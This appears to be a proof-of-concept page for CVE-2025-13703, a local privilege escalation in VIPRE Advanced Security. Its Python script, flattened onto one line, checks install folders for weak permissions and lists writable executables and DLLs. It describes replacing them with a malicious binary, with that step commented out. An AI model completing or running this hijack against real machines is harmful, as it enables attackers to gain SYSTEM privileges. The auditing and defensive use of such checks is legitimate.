CVE-2025-13703 VIPRE Advanced Security 本地权限提升漏洞

# CVE-2025-13703 PoC - VIPRE Advanced Security Permission Escalation # This PoC demonstrates the permission misconfiguration on VIPRE installation folders import os import subprocess import shutil def check_vipre_permissions(): """Check for weak permissions on VIPRE installation directories""" vipre_paths = [ r'C:\Program Files\VIPRE', r'C:\Program Files (x86)\VIPRE', r'C:\ProgramData\VIPRE' ] vulnerable_paths = [] for path in vipre_paths: if os.path.exists(path): # Check if low-privilege users can write to the directory try: # Use icacls to check permissions result = subprocess.run( ['icacls', path], capture_output=True, text=True ) # Check for 'Everyone:(I)(F)' or 'Users:(I)(F)' permissions if 'Everyone:(I)(F)' in result.stdout or 'Users:(I)(F)' in result.stdout: vulnerable_paths.append({ 'path': path, 'permissions': result.stdout }) except Exception as e: print(f'Error checking {path}: {e}') return vulnerable_paths def exploit_privilege_escalation(vulnerable_path, malicious_exe): """ Exploit the permission misconfiguration by replacing executable Note: This requires the malicious executable to be prepared """ if not os.path.exists(vulnerable_path): print('Vulnerable path does not exist') return False # Find executables in the VIPRE directory that might be called by SYSTEM for root, dirs, files in os.walk(vulnerable_path): for file in files: if file.endswith('.exe') or file.endswith('.dll'): file_path = os.path.join(root, file) try: # Check if we can write to the executable if os.access(file_path, os.W_OK): print(f'Writable file found: {file_path}') # In a real attack, replace with malicious binary # shutil.copy(malicious_exe, file_path) except Exception: pass return True if __name__ == '__main__': print('CVE-2025-13703 VIPRE Advanced Security Privilege Escalation Check') print('=' * 60) vulnerable = check_vipre_permissions() if vulnerable: print(f'[+] Found {len(vulnerable)} potentially vulnerable paths:') for v in vulnerable: print(f"\nPath: {v['path']}") print(f"Permissions: {v['permissions']}") else: print('[-] No obvious permission misconfigurations found')